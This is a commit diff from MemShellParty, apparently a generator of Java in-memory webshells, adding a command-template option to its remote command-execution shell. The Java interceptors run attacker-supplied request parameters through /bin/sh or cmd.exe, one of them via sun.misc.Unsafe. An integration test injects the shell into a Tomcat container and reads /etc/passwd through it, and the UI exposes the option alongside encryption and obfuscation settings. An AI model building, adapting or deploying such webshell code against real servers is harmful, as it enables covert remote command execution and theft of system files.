mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support command template
This commit is contained in:
@@ -23,6 +23,7 @@ public class MemShellGenerateRequest {
|
|||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
|
private String commandTemplate;
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
@@ -50,6 +51,7 @@ public class MemShellGenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.template(shellToolConfig.getCommandTemplate())
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -15,15 +15,30 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
@SuperBuilder
|
@SuperBuilder
|
||||||
@ToString
|
@ToString
|
||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 接收参数的请求头或请求参数名称
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 加密器
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private Encryptor encryptor = Encryptor.RAW;
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 实现类
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
||||||
|
*/
|
||||||
|
private String template;
|
||||||
|
|
||||||
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
public B paramName(String paramName) {
|
public B paramName(String paramName) {
|
||||||
|
|||||||
+8
-6
@@ -1,8 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||||
@@ -44,13 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
.to(RuntimeExecInterceptor.class)
|
||||||
|
.on(named("getInputStream")));
|
||||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
.to(ForkAndExecInterceptor.class)
|
||||||
|
.on(named("getInputStream")));
|
||||||
}
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+23
-5
@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
|
|||||||
*/
|
*/
|
||||||
public class ForkAndExecInterceptor {
|
public class ForkAndExecInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||||
|
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||||
|
@TemplateAnnotation String template
|
||||||
|
) throws IOException {
|
||||||
try {
|
try {
|
||||||
String[] strs = cmd.split("\\s+");
|
String[] cmdarray = null;
|
||||||
|
String t = template;
|
||||||
|
if (t == null) {
|
||||||
|
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
|
} else {
|
||||||
|
if (t.contains("\"{command}\"")) {
|
||||||
|
String[] split = t.split("\\s+");
|
||||||
|
for (int i = 0; i < split.length; i++) {
|
||||||
|
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||||
|
}
|
||||||
|
cmdarray = split;
|
||||||
|
} else {
|
||||||
|
String cmdline = t.replace("{command}", cmd);
|
||||||
|
cmdarray = cmdline.split("\\s+");
|
||||||
|
}
|
||||||
|
}
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
unsafeField.setAccessible(true);
|
unsafeField.setAccessible(true);
|
||||||
@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
|
|||||||
}
|
}
|
||||||
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
byte[][] args = new byte[cmdarray.length - 1][];
|
||||||
int size = args.length;
|
int size = args.length;
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
for (int i = 0; i < args.length; i++) {
|
||||||
args[i] = strs[i + 1].getBytes();
|
args[i] = cmdarray[i + 1].getBytes();
|
||||||
size += args[i].length;
|
size += args[i].length;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {
|
|||||||
|
|
||||||
int[] envc = new int[1];
|
int[] envc = new int[1];
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
byte[] bytes = strs[0].getBytes();
|
byte[] bytes = cmdarray[0].getBytes();
|
||||||
byte[] result = new byte[bytes.length + 1];
|
byte[] result = new byte[bytes.length + 1];
|
||||||
System.arraycopy(bytes, 0,
|
System.arraycopy(bytes, 0,
|
||||||
result, 0,
|
result, 0,
|
||||||
|
|||||||
+23
-3
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
@@ -10,9 +11,28 @@ import java.io.InputStream;
|
|||||||
* @since 2025/5/25
|
* @since 2025/5/25
|
||||||
*/
|
*/
|
||||||
public class RuntimeExecInterceptor {
|
public class RuntimeExecInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||||
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||||
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
|
@TemplateAnnotation String template
|
||||||
|
) throws IOException {
|
||||||
|
String[] cmdarray = null;
|
||||||
|
String t = template;
|
||||||
|
if (t == null) {
|
||||||
|
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
|
} else {
|
||||||
|
if (t.contains("\"{command}\"")) {
|
||||||
|
String[] split = t.split("\\s+");
|
||||||
|
for (int i = 0; i < split.length; i++) {
|
||||||
|
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||||
|
}
|
||||||
|
cmdarray = split;
|
||||||
|
} else {
|
||||||
|
String cmdline = t.replace("{command}", cmd);
|
||||||
|
cmdarray = cmdline.split("\\s+");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+8
@@ -0,0 +1,8 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import java.lang.annotation.Retention;
|
||||||
|
import java.lang.annotation.RetentionPolicy;
|
||||||
|
|
||||||
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
|
public @interface TemplateAnnotation {
|
||||||
|
}
|
||||||
+48
-2
@@ -8,26 +8,34 @@ import com.reajason.javaweb.memshell.ShellType;
|
|||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import okhttp3.HttpUrl;
|
||||||
|
import okhttp3.OkHttpClient;
|
||||||
|
import okhttp3.Request;
|
||||||
|
import okhttp3.Response;
|
||||||
|
import org.apache.commons.lang3.RandomStringUtils;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.junit.jupiter.params.provider.ValueSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
import org.apache.commons.lang3.RandomStringUtils;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
|
import java.util.Objects;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -55,6 +63,44 @@ public class Tomcat8CommandEncryptorContainerTest {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@SneakyThrows
|
||||||
|
@ValueSource(strings = {
|
||||||
|
"/bin/bash -c \"{command}\" 2>&1",
|
||||||
|
"sh -c \"{command}\" 2>&1",
|
||||||
|
"{command}"
|
||||||
|
})
|
||||||
|
void testTemplate(String template) {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String shellTool = ShellTool.Command;
|
||||||
|
String shellType = ShellType.FILTER;
|
||||||
|
Packers packer = Packers.BigInteger;
|
||||||
|
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft();
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
||||||
|
ShellToolConfig shellToolConfig = CommandConfig.builder()
|
||||||
|
.paramName(uniqueName)
|
||||||
|
.template(template)
|
||||||
|
.build();
|
||||||
|
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, null, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer);
|
||||||
|
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
|
||||||
|
OkHttpClient okHttpClient = new OkHttpClient();
|
||||||
|
HttpUrl httpUrl = Objects.requireNonNull(HttpUrl.parse(shellUrl))
|
||||||
|
.newBuilder()
|
||||||
|
.addQueryParameter(uniqueName, "cat /etc/passwd")
|
||||||
|
.build();
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(httpUrl)
|
||||||
|
.get().build();
|
||||||
|
|
||||||
|
try (Response response = okHttpClient.newCall(request).execute()) {
|
||||||
|
String res = response.body().string();
|
||||||
|
System.out.println(res.trim());
|
||||||
|
assertTrue(res.contains("root:x:0:0:root:/root:/bin/bash"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
import { ScrollTextIcon } from "lucide-react";
|
import { ScrollTextIcon } from "lucide-react";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import CodeViewer from "@/components/code-viewer";
|
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
import { Separator } from "@/components/ui/separator";
|
import { Separator } from "@/components/ui/separator";
|
||||||
@@ -17,7 +16,6 @@ export function JarResult({
|
|||||||
generateResult?: MemShellResult;
|
generateResult?: MemShellResult;
|
||||||
}>) {
|
}>) {
|
||||||
const { t } = useTranslation();
|
const { t } = useTranslation();
|
||||||
const isPureJar = packMethod === "Jar";
|
|
||||||
return (
|
return (
|
||||||
<Card>
|
<Card>
|
||||||
<CardHeader>
|
<CardHeader>
|
||||||
|
|||||||
@@ -62,7 +62,7 @@ export function OptionalClassFormField({
|
|||||||
return (
|
return (
|
||||||
<Fragment>
|
<Fragment>
|
||||||
<div className="pt-2 flex items-center justify-between gap-3">
|
<div className="pt-2 flex items-center justify-between gap-3">
|
||||||
<div className="flex items-center gap-2 text-sm">
|
<div className="flex items-center gap-2 text-sm font-medium">
|
||||||
<Shuffle className="h-4 w-4" />
|
<Shuffle className="h-4 w-4" />
|
||||||
<span>{t("mainConfig.randomClassName")}</span>
|
<span>{t("mainConfig.randomClassName")}</span>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -1,7 +1,14 @@
|
|||||||
import { useQuery } from "@tanstack/react-query";
|
import { useQuery } from "@tanstack/react-query";
|
||||||
|
import { ChevronDown, ChevronRight } from "lucide-react";
|
||||||
|
import { useState } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent } from "@/components/ui/card";
|
import { Card, CardContent } from "@/components/ui/card";
|
||||||
|
import {
|
||||||
|
Collapsible,
|
||||||
|
CollapsibleContent,
|
||||||
|
CollapsibleTrigger,
|
||||||
|
} from "@/components/ui/collapsible";
|
||||||
import {
|
import {
|
||||||
FormControl,
|
FormControl,
|
||||||
FormField,
|
FormField,
|
||||||
@@ -31,6 +38,7 @@ export function CommandTabContent({
|
|||||||
shellTypes: Array<string>;
|
shellTypes: Array<string>;
|
||||||
}>) {
|
}>) {
|
||||||
const { t } = useTranslation(["memshell", "common"]);
|
const { t } = useTranslation(["memshell", "common"]);
|
||||||
|
const [isAdvancedOpen, setIsAdvancedOpen] = useState(false);
|
||||||
const { data } = useQuery<{
|
const { data } = useQuery<{
|
||||||
encryptors: Array<string>;
|
encryptors: Array<string>;
|
||||||
implementationClasses: Array<string>;
|
implementationClasses: Array<string>;
|
||||||
@@ -68,68 +76,102 @@ export function CommandTabContent({
|
|||||||
</FormFieldItem>
|
</FormFieldItem>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
|
||||||
<FormField
|
<Collapsible open={isAdvancedOpen} onOpenChange={setIsAdvancedOpen}>
|
||||||
control={form.control}
|
<CollapsibleTrigger className="flex items-center gap-2 w-full py-2 text-sm font-medium hover:underline">
|
||||||
name="encryptor"
|
{isAdvancedOpen ? (
|
||||||
render={({ field }) => (
|
<ChevronDown className="h-4 w-4" />
|
||||||
<FormFieldItem>
|
) : (
|
||||||
<FormFieldLabel>{t("common:encryptor")}</FormFieldLabel>
|
<ChevronRight className="h-4 w-4" />
|
||||||
<Select
|
|
||||||
onValueChange={field.onChange}
|
|
||||||
value={field.value}
|
|
||||||
defaultValue="RAW"
|
|
||||||
>
|
|
||||||
<FormControl>
|
|
||||||
<SelectTrigger>
|
|
||||||
<SelectValue
|
|
||||||
placeholder={t("common:placeholders.select")}
|
|
||||||
/>
|
|
||||||
</SelectTrigger>
|
|
||||||
</FormControl>
|
|
||||||
<SelectContent>
|
|
||||||
{data?.encryptors?.map((v) => (
|
|
||||||
<SelectItem key={v} value={v}>
|
|
||||||
{v}
|
|
||||||
</SelectItem>
|
|
||||||
))}
|
|
||||||
</SelectContent>
|
|
||||||
</Select>
|
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
)}
|
||||||
/>
|
{t("common:advancedConfig")}
|
||||||
<FormField
|
</CollapsibleTrigger>
|
||||||
control={form.control}
|
<CollapsibleContent className="space-y-2 pt-2">
|
||||||
name="implementationClass"
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
render={({ field }) => (
|
<FormField
|
||||||
<FormFieldItem>
|
control={form.control}
|
||||||
<FormFieldLabel>
|
name="encryptor"
|
||||||
{t("common:implementationClass")}
|
render={({ field }) => (
|
||||||
</FormFieldLabel>
|
<FormFieldItem>
|
||||||
<Select
|
<FormFieldLabel>{t("common:encryptor")}</FormFieldLabel>
|
||||||
onValueChange={field.onChange}
|
<Select
|
||||||
value={field.value}
|
onValueChange={field.onChange}
|
||||||
defaultValue="RuntimeExec"
|
value={field.value}
|
||||||
>
|
defaultValue="RAW"
|
||||||
|
>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger>
|
||||||
|
<SelectValue
|
||||||
|
placeholder={t("common:placeholders.select")}
|
||||||
|
/>
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{data?.encryptors?.map((v) => (
|
||||||
|
<SelectItem key={v} value={v}>
|
||||||
|
{v}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</FormFieldItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="implementationClass"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormFieldItem>
|
||||||
|
<FormFieldLabel>
|
||||||
|
{t("common:implementationClass")}
|
||||||
|
</FormFieldLabel>
|
||||||
|
<Select
|
||||||
|
onValueChange={field.onChange}
|
||||||
|
value={field.value}
|
||||||
|
defaultValue="RuntimeExec"
|
||||||
|
>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger>
|
||||||
|
<SelectValue
|
||||||
|
placeholder={t("common:placeholders.select")}
|
||||||
|
/>
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{data?.implementationClasses?.map((v) => (
|
||||||
|
<SelectItem key={v} value={v}>
|
||||||
|
{v}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</FormFieldItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="commandTemplate"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormFieldItem>
|
||||||
|
<FormFieldLabel>
|
||||||
|
{t("common:commandTemplate")} {t("common:optional")}
|
||||||
|
</FormFieldLabel>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<SelectTrigger>
|
<Input
|
||||||
<SelectValue
|
{...field}
|
||||||
placeholder={t("common:placeholders.select")}
|
placeholder={t("common:commandTemplate.placeholder")}
|
||||||
/>
|
/>
|
||||||
</SelectTrigger>
|
|
||||||
</FormControl>
|
</FormControl>
|
||||||
<SelectContent>
|
<p className="text-xs text-muted-foreground mt-1">
|
||||||
{data?.implementationClasses?.map((v) => (
|
{t("common:commandTemplate.description")}
|
||||||
<SelectItem key={v} value={v}>
|
</p>
|
||||||
{v}
|
</FormFieldItem>
|
||||||
</SelectItem>
|
)}
|
||||||
))}
|
/>
|
||||||
</SelectContent>
|
</CollapsibleContent>
|
||||||
</Select>
|
</Collapsible>
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
<OptionalClassFormField form={form} />
|
<OptionalClassFormField form={form} />
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
|
|||||||
@@ -0,0 +1,9 @@
|
|||||||
|
import { Collapsible as CollapsiblePrimitive } from "radix-ui";
|
||||||
|
|
||||||
|
const Collapsible = CollapsiblePrimitive.Root;
|
||||||
|
|
||||||
|
const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger;
|
||||||
|
|
||||||
|
const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent;
|
||||||
|
|
||||||
|
export { Collapsible, CollapsibleTrigger, CollapsibleContent };
|
||||||
@@ -37,5 +37,9 @@
|
|||||||
"version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})",
|
"version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})",
|
||||||
"shellTool": "Shell Tool",
|
"shellTool": "Shell Tool",
|
||||||
"lambdaSuffix": "LambdaSuffix",
|
"lambdaSuffix": "LambdaSuffix",
|
||||||
"probe": "Probe Mode"
|
"probe": "Probe Mode",
|
||||||
|
"advancedConfig": "Advanced Config",
|
||||||
|
"commandTemplate": "Command Template",
|
||||||
|
"commandTemplate.placeholder": "e.g., sh -c \"{command}\" 2>&1",
|
||||||
|
"commandTemplate.description": "Use {command} as placeholder"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -37,5 +37,9 @@
|
|||||||
"version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})",
|
"version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})",
|
||||||
"shellTool": "内存马工具",
|
"shellTool": "内存马工具",
|
||||||
"lambdaSuffix": "Lambda 类名后缀",
|
"lambdaSuffix": "Lambda 类名后缀",
|
||||||
"probe": "回显模式"
|
"probe": "回显模式",
|
||||||
|
"advancedConfig": "高级配置",
|
||||||
|
"commandTemplate": "命令模板",
|
||||||
|
"commandTemplate.placeholder": "例如:sh -c \"{command}\" 2>&1",
|
||||||
|
"commandTemplate.description": "使用 {command} 作为占位符"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ export interface ShellConfig {
|
|||||||
obfuscate?: boolean;
|
obfuscate?: boolean;
|
||||||
shrink?: boolean;
|
shrink?: boolean;
|
||||||
probe?: boolean;
|
probe?: boolean;
|
||||||
lambdaSuffix?:boolean;
|
lambdaSuffix?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface ShellToolConfig {
|
export interface ShellToolConfig {
|
||||||
@@ -17,6 +17,7 @@ export interface ShellToolConfig {
|
|||||||
godzillaPass?: string;
|
godzillaPass?: string;
|
||||||
godzillaKey?: string;
|
godzillaKey?: string;
|
||||||
commandParamName?: string;
|
commandParamName?: string;
|
||||||
|
commandTemplate?: string;
|
||||||
behinderPass?: string;
|
behinderPass?: string;
|
||||||
antSwordPass?: string;
|
antSwordPass?: string;
|
||||||
headerName?: string;
|
headerName?: string;
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ export const memShellFormSchema = yup.object({
|
|||||||
behinderPass: yup.string().optional(),
|
behinderPass: yup.string().optional(),
|
||||||
antSwordPass: yup.string().optional(),
|
antSwordPass: yup.string().optional(),
|
||||||
commandParamName: yup.string().optional(),
|
commandParamName: yup.string().optional(),
|
||||||
|
commandTemplate: yup.string().optional(),
|
||||||
implementationClass: yup.string().optional(),
|
implementationClass: yup.string().optional(),
|
||||||
headerName: yup.string().optional(),
|
headerName: yup.string().optional(),
|
||||||
headerValue: yup.string().optional(),
|
headerValue: yup.string().optional(),
|
||||||
|
|||||||
@@ -20,13 +20,14 @@ export function transformToPostData(formValue: MemShellFormSchema) {
|
|||||||
byPassJavaModule: formValue.byPassJavaModule,
|
byPassJavaModule: formValue.byPassJavaModule,
|
||||||
shrink: formValue.shrink,
|
shrink: formValue.shrink,
|
||||||
lambdaSuffix: formValue.lambdaSuffix,
|
lambdaSuffix: formValue.lambdaSuffix,
|
||||||
probe: formValue.probe
|
probe: formValue.probe,
|
||||||
};
|
};
|
||||||
const shellToolConfig: ShellToolConfig = {
|
const shellToolConfig: ShellToolConfig = {
|
||||||
shellClassName: formValue.shellClassName,
|
shellClassName: formValue.shellClassName,
|
||||||
godzillaPass: formValue.godzillaPass,
|
godzillaPass: formValue.godzillaPass,
|
||||||
godzillaKey: formValue.godzillaKey,
|
godzillaKey: formValue.godzillaKey,
|
||||||
commandParamName: formValue.commandParamName,
|
commandParamName: formValue.commandParamName,
|
||||||
|
commandTemplate: formValue.commandTemplate,
|
||||||
behinderPass: formValue.behinderPass,
|
behinderPass: formValue.behinderPass,
|
||||||
antSwordPass: formValue.antSwordPass,
|
antSwordPass: formValue.antSwordPass,
|
||||||
headerName: formValue.headerName,
|
headerName: formValue.headerName,
|
||||||
|
|||||||
Reference in New Issue
Block a user